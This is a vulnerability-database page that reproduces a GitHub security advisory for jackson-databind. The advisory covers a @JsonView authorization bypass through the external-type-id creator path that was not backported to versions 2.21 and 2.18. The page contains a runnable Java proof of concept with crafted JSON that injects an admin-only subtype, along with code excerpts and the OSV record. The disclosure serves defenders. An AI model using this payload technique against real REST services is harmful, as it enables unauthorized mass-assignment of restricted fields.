Vulnerability-Lookup

GHSA-MHM7-754M-9P8W

Vulnerability from github – Published: 2026-07-21 19:40 – Updated: 2026-07-21 19:40

Summary

jackson-databind: `@JsonView` bypass for creator properties with `@JsonTypeInfo(include=As.EXTERNAL_PROPERTY)`

Details

Summary

In BeanDeserializer.deserializeUsingPropertyBasedWithExternalTypeId, the active-view (@JsonView) filter was applied only to the regular bean-property branch; the creator-property branch performed no creatorProp.visibleInView(activeView) check. A constructor parameter annotated with both @JsonView(RestrictedView.class) and @JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY) is populated from attacker JSON even when a more restrictive view is active.

This is a patch gap. GHSA-5hh8 (CVE-2026-54517) and GHSA-rcqc (CVE-2026-54518) descriptions cover only the main property-based path and the unwrapped-creator path respectively; the external-type-id creator path was fixed on the 3.x line via #6004 ("Extend #5969/#5971 fixes to ... external-type-id case in regular BeanDeserializer", commit 7dc7a17, 2026-05-22) but the fix was never backported to 2.21 or 2.18. Users on 2.21.4 and 2.18.8 who upgraded per the published advisories remain vulnerable to the same @JsonView bypass technique via a different code path.

Vulnerable Code Path

File: com/fasterxml/jackson/databind/deser/BeanDeserializer.java Method: deserializeUsingPropertyBasedWithExternalTypeId

On 2.21.4 (and 2.18.8), the creator-property branch (around line 1125-1158) checks creatorProp.isInjectionOnly() and hands off to ext.handlePropertyValue(...) / buffer.assignParameter(...) without ever consulting visibleInView(activeView):

```java if (creatorProp != null) { // [databind#1381]: if useInput=FALSE, skip deserialization from input if (creatorProp.isInjectionOnly()) { ... } // NO visibleInView(activeView) CHECK HERE if (!ext.handlePropertyValue(p, ctxt, propName, null)) { if (buffer.assignParameter(creatorProp, ...)) { ... } } continue; }


On 3.1.4, the same branch contains the additional guard (commit 7dc7a17):

 ```java
   if (creatorProp != null) {
      // [databind#5971]: must honor active view here too
      if ((activeView != null) && !creatorProp.visibleInView(activeView)) {
          p.skipChildren();
          continue;
      }
      ...
  }

The 2.21 and 2.18 backport PRs (#6005 and #6003) only backported the main-path fixes from #5969/#5971; the external-type-id fix from #6004 was not backported. The maintainer closed #6005 with "got changes merged forward, looks like it's all covered now", but the forward-merge did not include the ExtTypeId creator branch.

Proof of Concept

Compiles and runs against jackson-databind 2.21.4:

  import com.fasterxml.jackson.annotation.*;
  import com.fasterxml.jackson.databind.ObjectMapper;

  public class JsonViewExternalTypeIdBypass {
      public static class PublicView {}
      public static class AdminView extends PublicView {}

      public static abstract class Asset { public String name; }
      public static class PublicAsset extends Asset {}
      public static class AdminAsset extends Asset { public String secret; }

      public static class Container {
          @JsonTypeInfo(use = JsonTypeInfo.Id.NAME,
                  include = JsonTypeInfo.As.EXTERNAL_PROPERTY,
                  property = "kind")
          @JsonSubTypes({
              @JsonSubTypes.Type(value = PublicAsset.class, name = "pub"),
              @JsonSubTypes.Type(value = AdminAsset.class,  name = "admin")
          })
          @JsonView(AdminView.class)
          public Asset asset;

          public String label;

          @JsonCreator
          public Container(
                  @JsonProperty("label") String label,
                  @JsonProperty("asset") @JsonView(AdminView.class) Asset asset) {
              this.label = label;
              this.asset = asset;
          }
      }

      public static class Wrapper {
          @JsonView(PublicView.class)
          public Container data;
      }

      public static void main(String[] args) throws Exception {
          // Admin-only "asset" should be blocked when reading with PublicView
          String json = "{\"data\":{\"label\":\"hello\",\"kind\":\"admin\","
                      + "\"asset\":{\"name\":\"foo\",\"secret\":\"LEAKED\"}}}";

          ObjectMapper om = new ObjectMapper();
          Wrapper r = om.readerWithView(PublicView.class)
                  .forType(Wrapper.class)
                  .readValue(json);

          System.out.println(r.data);
          // Actual on 2.21.4:   Container{label='hello', asset=AdminAsset{name='foo', secret='LEAKED'}}
          // Expected (secure):  Container{label='hello', asset=null}
          if (r.data.asset != null && r.data.asset instanceof AdminAsset) {
              System.out.println("[!!] BYPASS CONFIRMED — admin-only asset populated under PublicView");
          }
      }
  }

A control case that removes include = As.EXTERNAL_PROPERTY (forcing the normal property-based path) correctly returns asset = null, confirming the bypass is specific to the ExternalTypeId code path and not a misconfiguration.

Impact

View-restricted (e.g. admin-only) creator properties can be populated from untrusted input where @JsonView is used as a write-side authorization boundary. Typical victims are Spring Boot REST controllers that use @JsonView(PublicView.class) on the request body to whitelist user-settable fields — an attacker can inject the restricted creator parameter (including choosing the polymorphic subtype via the sibling kind/type-id property) by combining it with a polymorphic @JsonTypeInfo(EXTERNAL_PROPERTY) annotation on the same field.

CWE-863 (Incorrect Authorization)
Same impact class as CVE-2026-54517 / CVE-2026-54518
No RCE, no DoS — this is an access-control / mass-assignment bypass

Trigger Conditions

Developer code must combine (no opt-in user configuration required):

Property-based @JsonCreator on the outer type
A creator parameter annotated with @JsonView(RestrictedView.class)
The same parameter annotated with @JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY, property="...")

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.18.8"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.18.0"
            },
            {
              "fixed": "2.18.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.21.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.21.0"
            },
            {
              "fixed": "2.21.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T19:40:12Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nIn `BeanDeserializer.deserializeUsingPropertyBasedWithExternalTypeId`, the active-view (`@JsonView`) filter was applied only to the regular bean-property branch; the creator-property branch performed no `creatorProp.visibleInView(activeView)` check. A constructor parameter annotated with both `@JsonView(RestrictedView.class)` and `@JsonTypeInfo(use=Id.NAME,\n  include=As.EXTERNAL_PROPERTY)` is populated from attacker JSON even when a more restrictive view is active.\n\n  This is a patch gap. GHSA-5hh8 (CVE-2026-54517) and GHSA-rcqc (CVE-2026-54518) descriptions cover only the main property-based path and the unwrapped-creator path respectively; the external-type-id creator path was fixed on the 3.x line via #6004 (\"Extend #5969/#5971 fixes to ... external-type-id case in regular BeanDeserializer\", commit 7dc7a17, 2026-05-22) but\n  **the fix was never backported to 2.21 or 2.18**. Users on 2.21.4 and 2.18.8 who upgraded per the published advisories remain vulnerable to the same `@JsonView` bypass technique via a different code path.\n\n## Vulnerable Code Path\n\nFile: `com/fasterxml/jackson/databind/deser/BeanDeserializer.java`\nMethod: `deserializeUsingPropertyBasedWithExternalTypeId`\n\nOn 2.21.4 (and 2.18.8), the creator-property branch (around line 1125-1158) checks `creatorProp.isInjectionOnly()` and hands off to `ext.handlePropertyValue(...)` / `buffer.assignParameter(...)` without ever consulting `visibleInView(activeView)`:\n\n ```java\n  if (creatorProp != null) {\n      // [databind#1381]: if useInput=FALSE, skip deserialization from input\n      if (creatorProp.isInjectionOnly()) { ... }\n      // NO visibleInView(activeView) CHECK HERE\n      if (!ext.handlePropertyValue(p, ctxt, propName, null)) {\n          if (buffer.assignParameter(creatorProp, ...)) { ... }\n      }\n      continue;\n  }\n```\n\nOn 3.1.4, the same branch contains the additional guard (commit 7dc7a17):\n\n ```java\n   if (creatorProp != null) {\n      // [databind#5971]: must honor active view here too\n      if ((activeView != null) \u0026\u0026 !creatorProp.visibleInView(activeView)) {\n          p.skipChildren();\n          continue;\n      }\n      ...\n  }\n```\n\nThe 2.21 and 2.18 backport PRs (#6005 and #6003) only backported the main-path fixes from #5969/#5971; the external-type-id fix from #6004 was not backported. The maintainer closed #6005\n  with \"got changes merged forward, looks like it\u0027s all covered now\", but the forward-merge did not include the ExtTypeId creator branch.\n\n  Proof of Concept\n\n  Compiles and runs against jackson-databind 2.21.4:\n \n```java\n  import com.fasterxml.jackson.annotation.*;\n  import com.fasterxml.jackson.databind.ObjectMapper;\n\n  public class JsonViewExternalTypeIdBypass {\n      public static class PublicView {}\n      public static class AdminView extends PublicView {}\n\n      public static abstract class Asset { public String name; }\n      public static class PublicAsset extends Asset {}\n      public static class AdminAsset extends Asset { public String secret; }\n\n      public static class Container {\n          @JsonTypeInfo(use = JsonTypeInfo.Id.NAME,\n                  include = JsonTypeInfo.As.EXTERNAL_PROPERTY,\n                  property = \"kind\")\n          @JsonSubTypes({\n              @JsonSubTypes.Type(value = PublicAsset.class, name = \"pub\"),\n              @JsonSubTypes.Type(value = AdminAsset.class,  name = \"admin\")\n          })\n          @JsonView(AdminView.class)\n          public Asset asset;\n\n          public String label;\n\n          @JsonCreator\n          public Container(\n                  @JsonProperty(\"label\") String label,\n                  @JsonProperty(\"asset\") @JsonView(AdminView.class) Asset asset) {\n              this.label = label;\n              this.asset = asset;\n          }\n      }\n\n      public static class Wrapper {\n          @JsonView(PublicView.class)\n          public Container data;\n      }\n\n      public static void main(String[] args) throws Exception {\n          // Admin-only \"asset\" should be blocked when reading with PublicView\n          String json = \"{\\\"data\\\":{\\\"label\\\":\\\"hello\\\",\\\"kind\\\":\\\"admin\\\",\"\n                      + \"\\\"asset\\\":{\\\"name\\\":\\\"foo\\\",\\\"secret\\\":\\\"LEAKED\\\"}}}\";\n\n          ObjectMapper om = new ObjectMapper();\n          Wrapper r = om.readerWithView(PublicView.class)\n                  .forType(Wrapper.class)\n                  .readValue(json);\n\n          System.out.println(r.data);\n          // Actual on 2.21.4:   Container{label=\u0027hello\u0027, asset=AdminAsset{name=\u0027foo\u0027, secret=\u0027LEAKED\u0027}}\n          // Expected (secure):  Container{label=\u0027hello\u0027, asset=null}\n          if (r.data.asset != null \u0026\u0026 r.data.asset instanceof AdminAsset) {\n              System.out.println(\"[!!] BYPASS CONFIRMED \u2014 admin-only asset populated under PublicView\");\n          }\n      }\n  }\n```\n\nA control case that removes include = As.EXTERNAL_PROPERTY (forcing the normal property-based path) correctly returns asset = null, confirming the bypass is specific to the ExternalTypeId\n  code path and not a misconfiguration.\n\n### Impact\n\n  View-restricted (e.g. admin-only) creator properties can be populated from untrusted input where @JsonView is used as a write-side authorization boundary. Typical victims are Spring Boot\n  REST controllers that use @JsonView(PublicView.class) on the request body to whitelist user-settable fields \u2014 an attacker can inject the restricted creator parameter (including choosing\n  the polymorphic subtype via the sibling kind/type-id property) by combining it with a polymorphic @JsonTypeInfo(EXTERNAL_PROPERTY) annotation on the same field.\n\n- CWE-863 (Incorrect Authorization)\n- Same impact class as CVE-2026-54517 / CVE-2026-54518\n- No RCE, no DoS \u2014 this is an access-control / mass-assignment bypass\n\n### Trigger Conditions\n\nDeveloper code must combine (no opt-in user configuration required):\n\n1. Property-based @JsonCreator on the outer type\n2. A creator parameter annotated with @JsonView(RestrictedView.class)\n3. The same parameter annotated with @JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY, property=\"...\")",
  "id": "GHSA-mhm7-754m-9p8w",
  "modified": "2026-07-21T19:40:12Z",
  "published": "2026-07-21T19:40:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-mhm7-754m-9p8w"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/commit/c628b357ed143d8492756d5c1458cfb9fbeb29ed"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/commit/dea7eb466e98cc226c4ac65587581fb49926820c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FasterXML/jackson-databind"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "jackson-databind: `@JsonView` bypass for creator properties with `@JsonTypeInfo(include=As.EXTERNAL_PROPERTY)`"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

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GHSA-MHM7-754M-9P8W

Summary

Vulnerable Code Path

Impact

Trigger Conditions

Tags

Sightings

Nomenclature